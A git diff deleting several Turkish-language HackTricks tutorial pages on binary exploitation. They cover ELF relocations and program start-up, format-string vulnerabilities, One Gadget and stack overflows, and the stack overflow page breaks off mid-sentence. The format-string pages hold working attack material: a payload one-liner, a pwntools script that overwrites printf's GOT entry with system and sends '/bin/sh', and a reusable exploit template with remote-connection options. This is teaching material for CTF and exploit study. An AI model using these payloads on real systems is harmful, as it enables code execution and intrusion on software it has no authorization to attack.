offset 0xaa0 contains 23 entries: -Offset Info Type Sym. Value Sym. Name + Addend -00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 -00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 -00000001fff0 000000000403 R_AARCH64_RELATIV 1340 -000000020008 000000000403 R_AARCH64_RELATIV 20008 -000000020010 000000000403 R_AARCH64_RELATIV 3330 -000000020030 000000000403 R_AARCH64_RELATIV 3338 -000000020050 000000000403 R_AARCH64_RELATIV 3340 -000000020070 000000000403 R_AARCH64_RELATIV 3348 -000000020090 000000000403 R_AARCH64_RELATIV 3350 -0000000200b0 000000000403 R_AARCH64_RELATIV 3358 -0000000200d0 000000000403 R_AARCH64_RELATIV 3360 -0000000200f0 000000000403 R_AARCH64_RELATIV 3370 -000000020110 000000000403 R_AARCH64_RELATIV 3378 -000000020130 000000000403 R_AARCH64_RELATIV 3380 -000000020150 000000000403 R_AARCH64_RELATIV 3388 -00000001ffb8 000a00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_deregisterTM[...] + 0 -00000001ffc0 000b00000401 R_AARCH64_GLOB_DA 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 -00000001ffc8 000f00000401 R_AARCH64_GLOB_DA 0000000000000000 stderr@GLIBC_2.17 + 0 -00000001ffd0 001000000401 R_AARCH64_GLOB_DA 0000000000000000 optarg@GLIBC_2.17 + 0 -00000001ffd8 001400000401 R_AARCH64_GLOB_DA 0000000000000000 stdout@GLIBC_2.17 + 0 -00000001ffe0 001e00000401 R_AARCH64_GLOB_DA 0000000000000000 __gmon_start__ + 0 -00000001ffe8 001f00000401 R_AARCH64_GLOB_DA 0000000000000000 __stack_chk_guard@GLIBC_2.17 + 0 -00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 - -Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: -Offset Info Type Sym. Value Sym. Name + Addend -00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 -00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 -00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 -00000001fe88 000600000402 R_AARCH64_JUMP_SL 0000000000000000 fputs@GLIBC_2.17 + 0 -00000001fe90 000700000402 R_AARCH64_JUMP_SL 0000000000000000 exit@GLIBC_2.17 + 0 -00000001fe98 000800000402 R_AARCH64_JUMP_SL 0000000000000000 __libc_start_main@GLIBC_2.34 + 0 -00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0 -00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 -00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0 -00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0 -00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0 -00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0 -00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0 -00000001fed8 001300000402 R_AARCH64_JUMP_SL 0000000000000000 malloc@GLIBC_2.17 + 0 -00000001fee0 001500000402 R_AARCH64_JUMP_SL 0000000000000000 gettimeofday@GLIBC_2.17 + 0 -00000001fee8 001600000402 R_AARCH64_JUMP_SL 0000000000000000 sleep@GLIBC_2.17 + 0 -00000001fef0 001700000402 R_AARCH64_JUMP_SL 0000000000000000 __vfprintf_chk@GLIBC_2.17 + 0 -00000001fef8 001800000402 R_AARCH64_JUMP_SL 0000000000000000 calloc@GLIBC_2.17 + 0 -00000001ff00 001900000402 R_AARCH64_JUMP_SL 0000000000000000 rewind@GLIBC_2.17 + 0 -00000001ff08 001a00000402 R_AARCH64_JUMP_SL 0000000000000000 strdup@GLIBC_2.17 + 0 -00000001ff10 001b00000402 R_AARCH64_JUMP_SL 0000000000000000 closedir@GLIBC_2.17 + 0 -00000001ff18 001c00000402 R_AARCH64_JUMP_SL 0000000000000000 __stack_chk_fail@GLIBC_2.17 + 0 -00000001ff20 001d00000402 R_AARCH64_JUMP_SL 0000000000000000 strrchr@GLIBC_2.17 + 0 -00000001ff28 001e00000402 R_AARCH64_JUMP_SL 0000000000000000 __gmon_start__ + 0 -00000001ff30 002000000402 R_AARCH64_JUMP_SL 0000000000000000 abort@GLIBC_2.17 + 0 -00000001ff38 002100000402 R_AARCH64_JUMP_SL 0000000000000000 feof@GLIBC_2.17 + 0 -00000001ff40 002200000402 R_AARCH64_JUMP_SL 0000000000000000 getopt_long@GLIBC_2.17 + 0 -00000001ff48 002300000402 R_AARCH64_JUMP_SL 0000000000000000 __fprintf_chk@GLIBC_2.17 + 0 -00000001ff50 002400000402 R_AARCH64_JUMP_SL 0000000000000000 strcmp@GLIBC_2.17 + 0 -00000001ff58 002500000402 R_AARCH64_JUMP_SL 0000000000000000 free@GLIBC_2.17 + 0 -00000001ff60 002600000402 R_AARCH64_JUMP_SL 0000000000000000 readdir64@GLIBC_2.17 + 0 -00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 -00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 -00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 -00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 -00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 -00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 -00000001ff98 002d00000402 R_AARCH64_JUMP_SL 0000000000000000 strncpy@GLIBC_2.17 + 0 -00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 -00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 -``` -### Statik Yeniden Yerleştirmeler - -Eğer **program tercih edilen adresten** (genellikle 0x400000) farklı bir yerde yüklenirse, çünkü adres zaten kullanılıyordur ya da **ASLR** veya başka bir sebepten dolayı, statik bir yeniden yerleştirme **işaretçileri düzeltir** ki bu işaretçiler, ikili dosyanın tercih edilen adreste yükleneceğini bekliyordu. - -Örneğin, `R_AARCH64_RELATIV` türündeki herhangi bir bölüm, yeniden yerleştirme kayması artı ekleme değeri ile adresi değiştirmelidir. - -### Dinamik Yeniden Yerleştirmeler ve GOT - -Yeniden yerleştirme ayrıca bir dış sembole (bir bağımlılıktan bir fonksiyon gibi) atıfta bulunabilir. Örneğin, libC'den malloc fonksiyonu. O zaman, yükleyici libC'yi bir adreste yüklerken malloc fonksiyonunun yüklendiği yeri kontrol eder, bu adresi GOT (Küresel Ofset Tablosu) tablosuna yazar (yeniden yerleştirme tablosunda belirtilmiştir) burada malloc'un adresinin belirtilmesi gerekir. - -### Prosedür Bağlantı Tablosu - -PLT bölümü tembel bağlama yapmayı sağlar, bu da bir fonksiyonun konumunun çözümlemesinin ilk kez erişildiğinde gerçekleştirileceği anlamına gelir. - -Bu nedenle bir program malloc çağırdığında, aslında PLT'deki `malloc`'un karşılık gelen konumunu çağırır (`malloc@plt`). İlk kez çağrıldığında `malloc`'un adresini çözer ve bunu saklar, böylece bir sonraki sefer `malloc` çağrıldığında, bu adres PLT kodu yerine kullanılır. - -## Program Başlatma - -Program yüklendikten sonra çalıştırma zamanı gelmiştir. Ancak, çalıştırılan ilk kod **her zaman `main`** fonksiyonu değildir. Bunun nedeni, örneğin C++'ta eğer bir **global değişken bir sınıfın nesnesi ise**, bu nesne **main çalışmadan önce** **başlatılmalıdır**, şöyle: -```cpp -#include -// g++ autoinit.cpp -o autoinit -class AutoInit { -public: -AutoInit() { -printf("Hello AutoInit!\n"); -} -~AutoInit() { -printf("Goodbye AutoInit!\n"); -} -}; - -AutoInit autoInit; - -int main() { -printf("Main\n"); -return 0; -} -``` -Bu global değişkenlerin `.data` veya `.bss` içinde bulunduğunu unutmayın, ancak `__CTOR_LIST__` ve `__DTOR_LIST__` listelerinde başlatılacak ve yok edilecek nesneler saklanır, böylece bunların takibi yapılabilir. - -C kodundan aynı sonuca GNU uzantılarını kullanarak ulaşmak mümkündür: -```c -__attributte__((constructor)) //Add a constructor to execute before -__attributte__((destructor)) //Add to the destructor list -``` -Derleyici perspektifinden, `main` fonksiyonu çalıştırılmadan önce ve sonra bu eylemleri gerçekleştirmek için, dinamik bölümde **`INIT`** ve **`FIN`** olarak referans verilecek bir `init` fonksiyonu ve bir `fini` fonksiyonu oluşturmak mümkündür. Bu fonksiyonlar ELF'nin `init` ve `fini` bölümlerinde yer alır. - -Diğer bir seçenek, bahsedildiği gibi, dinamik bölümdeki **`INIT_ARRAY`** ve **`FINI_ARRAY`** girişlerinde **`__CTOR_LIST__`** ve **`__DTOR_LIST__`** listelerine referans vermektir ve bunların uzunluğu **`INIT_ARRAYSZ`** ve **`FINI_ARRAYSZ`** ile belirtilir. Her giriş, argüman olmadan çağrılacak bir fonksiyon işaretçisidir. - -Ayrıca, **`INIT_ARRAY`** işaretçileri **önce** çalıştırılacak **işaretçileri** içeren bir **`PREINIT_ARRAY`** olması da mümkündür. - -### Başlatma Sırası - -1. Program belleğe yüklenir, statik global değişkenler **`.data`** bölümünde başlatılır ve başlatılmamış olanlar **`.bss`** bölümünde sıfırlanır. -2. Program veya kütüphaneler için tüm **bağımlılıklar** **başlatılır** ve **dinamik bağlantı** gerçekleştirilir. -3. **`PREINIT_ARRAY`** fonksiyonları çalıştırılır. -4. **`INIT_ARRAY`** fonksiyonları çalıştırılır. -5. Eğer bir **`INIT`** girişi varsa, çağrılır. -6. Eğer bir kütüphane ise, dlopen burada sona erer; eğer bir program ise, **gerçek giriş noktası** (`main` fonksiyonu) çağrılma zamanı gelmiştir. - -## Thread-Local Storage (TLS) - -C++'da **`__thread_local`** anahtar kelimesi veya GNU uzantısı **`__thread`** kullanılarak tanımlanırlar. - -Her bir thread, bu değişken için benzersiz bir konum tutacaktır, böylece yalnızca thread kendi değişkenine erişebilir. - -Bu kullanıldığında, ELF'de **`.tdata`** ve **`.tbss`** bölümleri kullanılır. Bunlar, TLS için `.data` (başlatılmış) ve `.bss` (başlatılmamış) gibidir. - -Her değişken, boyutu ve thread'in yerel veri alanında kullanacağı ofseti belirten TLS başlığında bir girişe sahip olacaktır. - -`__TLS_MODULE_BASE`, thread yerel depolamanın temel adresine atıfta bulunmak için kullanılan bir semboldür ve bir modülün tüm thread yerel verilerini içeren bellek alanına işaret eder. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md deleted file mode 100644 index 8782e875a..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ /dev/null @@ -1,150 +0,0 @@ -# Format Strings - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -C'de **`printf`** bir dizeyi **yazdırmak** için kullanılabilecek bir işlevdir. Bu işlevin beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için gereken **değerler**dir. - -Zafiyet, bu işlev için **ilk argüman olarak bir saldırgan metni kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adresteki (okunabilir/yazılabilir)** veriyi okumak ve **yazmak** için özel bir **girdi oluşturabilir**. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olur. - -#### Formatlayıcılar: -```bash -%08x —> 8 hex bytes -%d —> Entire -%u —> Unsigned -%s —> String -%n —> Number of written bytes -%hn —> Occupies 2 bytes instead of 4 -$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 -``` -**Örnekler:** - -- Açık örnek: -```c -char buffer[30]; -gets(buffer); // Dangerous: takes user input without restrictions. -printf(buffer); // If buffer contains "%x", it reads from the stack. -``` -- Normal Kullanım: -```c -int value = 1205; -printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 -``` -- Eksik Argümanlarla: -```c -printf("%x %x %x", value); // Unexpected output: reads random values from the stack. -``` -### **Pointer'lara Erişim** - -Format **`%$x`**, burada `n` bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz: -```c -printf("%x %x %x %x") -``` -ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz. - -Ya da şunu yapabilirsiniz: -```c -printf("$4%x") -``` -ve doğrudan dördüncüyü okuyun. - -Saldırganın `pr`**`intf` parametresini kontrol ettiğini unutmayın, bu temelde** onun girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir. - -> [!CAUTION] -> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adres ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır. - -## **Rastgele Okuma** - -Formatlayıcı **`$n%s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i alması ve **bunu bir dizeymiş gibi yazdırması** mümkündür (0x00 bulunana kadar yazdır). Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür: -```python -from pwn import * - -p = process('./bin') - -payload = b'%6$p' #4th param -payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) -payload += p32(0x8048000) #6th param - -p.sendline(payload) -log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' -``` -> [!CAUTION] -> Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir. - -## **Rastgele Yazma** - -Formatlayıcı **`$%n`** **yazdığı bayt sayısını** **belirtilen adrese** \ parametresinde yazar. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`$%n`** ile rastgele bir sayıyı rastgele bir adrese yazabilecektir. - -Neyse ki, 9999 sayısını yazmak için girişi 9999 "A" ile doldurmak gerekmez, bunun yerine **`%.%$n`** formatlayıcısını kullanarak **``** sayısını **`num` pozisyonunu gösteren adrese** yazmak mümkündür. -```bash -AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param -AAAA.%500\$08x —> Param at offset 500 -``` -Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için. - -Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır. - -Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir: - -{{#ref}} -../arbitrary-write-2-exec/ -{{#endref}} - -Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\ -Belirttiğimiz gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır. - -- **HOB**, adresin 2 yüksek baytına çağrılır -- **LOB**, adresin 2 düşük baytına çağrılır - -Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB]'nin en küçüğünü **yazmanız** gerekir ve sonra diğerini. - -Eğer HOB < LOB\ -`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` - -Eğer HOB > LOB\ -`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` - -HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB -```bash -python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' -``` -### Pwntools Şablonu - -Bu tür bir zafiyet için bir exploit hazırlamak üzere bir şablon bulabilirsiniz: - -{{#ref}} -format-strings-template.md -{{#endref}} - -Ya da [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bu temel örneği inceleyebilirsiniz: -```python -from pwn import * - -elf = context.binary = ELF('./got_overwrite-32') -libc = elf.libc -libc.address = 0xf7dc2000 # ASLR disabled - -p = process() - -payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) -p.sendline(payload) - -p.clean() - -p.sendline('/bin/sh') - -p.interactive() -``` -## Diğer Örnekler ve Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) -- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) -- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, relro yok, canary yok, nx, pie yok, format string'lerin temel kullanımı ile stack'ten flag'i sızdırmak (işlem akışını değiştirmeye gerek yok) -- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, canary yok, nx, pie yok, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string -- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, canary yok, nx, pie yok, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve GOT tablosundaki `system` adresini `strlen`'a işaret edecek şekilde yazmak. Akış main'e geri döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md deleted file mode 100644 index 37491cf26..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md +++ /dev/null @@ -1,140 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} -```python -from pwn import * -from time import sleep - -################### -### CONNECTION #### -################### - -# Define how you want to exploit the binary -LOCAL = True -REMOTETTCP = False -REMOTESSH = False -GDB = False - -# Configure vulnerable binary -LOCAL_BIN = "./tyler" -REMOTE_BIN = "./tyler" #For ssh - -# In order to exploit the format string you may need to append/prepend some string to the payload -# configure them here -PREFIX_PAYLOAD = b"" -SUFFIX_PAYLOAD = b"" -NNUM_ALREADY_WRITTEN_BYTES = 0 -MAX_LENTGH = 999999 #Big num if not restricted - -print(" ====================== ") -print("Selected options:") -print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}") -print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}") -print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}") -print(" ====================== ") - - -def connect_binary(): -global P, ELF_LOADED, ROP_LOADED - -if LOCAL: -P = process(LOCAL_BIN) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTETTCP: -P = remote('10.10.10.10',1338) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTESSH: -ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) -P = ssh_shell.process(REMOTE_BIN) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(elf)# Find ROP gadgets - - -####################################### -### Get format string configuration ### -####################################### - -def send_payload(payload): -payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD -log.info("payload = %s" % repr(payload)) -if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") -P.sendline(payload) -sleep(0.5) -return P.recv() - - -def get_formatstring_config(): -global P - -for offset in range(1,1000): -connect_binary() -P.clean() - -payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" -recieved = send_payload(payload).strip() - -if b"41" in recieved: -for padlen in range(0,4): -if b"41414141" in recieved: -connect_binary() -payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" -recieved = send_payload(payload).strip() -print(recieved) -if b"42424242" in recieved: -log.info(f"Found offset ({offset}) and padlen ({padlen})") -return offset, padlen - -else: -connect_binary() -payload = b" " + payload -recieved = send_payload(payload).strip() - - -# In order to exploit a format string you need to find a position where part of your payload -# is being reflected. Then, you will be able to put in the position arbitrary addresses -# and write arbitrary content in those addresses -# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string - -offset, padlen = get_formatstring_config() - - -# In this template, the GOT of printf (the part of the GOT table that points to where the printf -# function resides) is going to be modified by the address of the system inside the PLT (the -# part of the code that will jump to the system function). -# Therefore, next time the printf function is executed, system will be executed instead with the same -# parameters passed to printf - -# In some scenarios you will need to loop1 more time to the vulnerability -# In that cases you need to overwrite a pointer in the .fini_array for example -# Uncomment the commented code below to gain 1 rexecution extra - -#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address -#INIT_LOOP_ADDR = 0x8048614 # Address to go back -SYSTEM_PLT = ELF_LOADED.plt["system"] -P_GOT = ELF_LOADED.got["printf"] - -#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}") -#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}") -log.info(f"System PLT address: {hex(SYSTEM_PLT)}") -log.info(f"Printf GOT address: {hex(P_GOT)}") - -connect_binary() -if GDB and not REMOTETTCP and not REMOTESSH: -# attach gdb and continue -# You can set breakpoints, for example "break *main" -gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" -sleep(5) - -format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) -#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) -format_string.write(P_GOT, SYSTEM_PLT) -format_string.execute_writes() - -# Now that printf function is executing system you just need to find a place where you can -# control the parameters passed to printf to execute arbitrary code. - -P.interactive() -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md deleted file mode 100644 index bf07de302..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md +++ /dev/null @@ -1,20 +0,0 @@ -# One Gadget - -{{#include ../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -[**One Gadget**](https://github.com/david942j/one_gadget), **system** ve **"/bin/sh"** kullanmak yerine bir shell elde etmeyi sağlar. **One Gadget**, libc kütüphanesi içinde sadece bir **adres** kullanarak bir shell elde etmenin bir yolunu bulur (`execve("/bin/sh")`).\ -Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibi kısıtlamalardır. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. - -![](<../../images/image (615).png>) -```python -ONE_GADGET = libc.address + 0x4526a -rop2 = base + p64(ONE_GADGET) + "\x00"*100 -``` -One Gadget tarafından belirtilen adrese **`libc`'nin** yüklendiği temel adresi **eklemeniz** gerekiyor. - -> [!TIP] -> One Gadget, **Rastgele Yazma 2 Çalıştırma teknikleri** için **büyük bir yardım** sağlar ve yalnızca bir adres çağırmanız (ve gereksinimleri yerine getirmeniz) gerektiğinden **ROP zincirlerini basitleştirebilir**. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md deleted file mode 100644 index 7fd1c0a13..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ /dev/null @@ -1,89 +0,0 @@ -# Stack Overflow - -{{#include ../../../banners/hacktricks-training.md}} - -## What is a Stack Overflow - -Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığı zaman meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. - -Bu üzerine yazma işleminin ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**. - -Güvenlik açığı genellikle bir fonksiyonun **yığına ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.\ -Buna karşı hassas bazı yaygın fonksiyonlar şunlardır: `strcpy`, `strcat`, `sprintf`, `gets`... Ayrıca, belirtilen uzunluk ayrılan uzunluktan büyükse, `fgets` veya `read` gibi uzunluk argümanı alan fonksiyonlar da savunmasız bir şekilde kullanılabilir. - -Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir: -```c -void vulnerable() { -char buffer[128]; -printf("Enter some text: "); -gets(buffer); // This is where the vulnerability lies -printf("You entered: %s\n", buffer); -} -``` -### Stack Overflow'ları Bulma - -Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir. - -Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir**. - -Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür. - -Bunun için **pwntools** kullanmak mümkündür: -```python -from pwn import * - -# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values) -pattern = cyclic(1000) - -# This is an example value that you'd have found in the EIP/IP register upon crash -eip_value = p32(0x6161616c) -offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern -print(f"The offset is: {offset}") -``` -ve **GEF**: -```bash -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp -``` -## Yığın Taşmalarını İstismar Etme - -Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin değerlerini, kaydedilmiş EBP/RBP ve EIP/RIP'e ulaşana kadar yazabilirsiniz.\ -Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı, bu işaretçide kullanıcının belirttiği yere yönlendirilecektir**. - -Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini yazmak** istismar için yeterli olabilir (kolay CTF zorluklarında olduğu gibi). - -### Ret2win - -Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır: - -{{#ref}} -ret2win.md -{{#endref}} - -### Yığın Shellcode - -Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir: - -{{#ref}} -stack-shellcode.md -{{#endref}} - -## ROP - -Bu teknik, önceki tekniğin ana korumasını aşmak için temel bir çerçevedir: **Çalıştırılabilir yığın yok** (NX). Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka 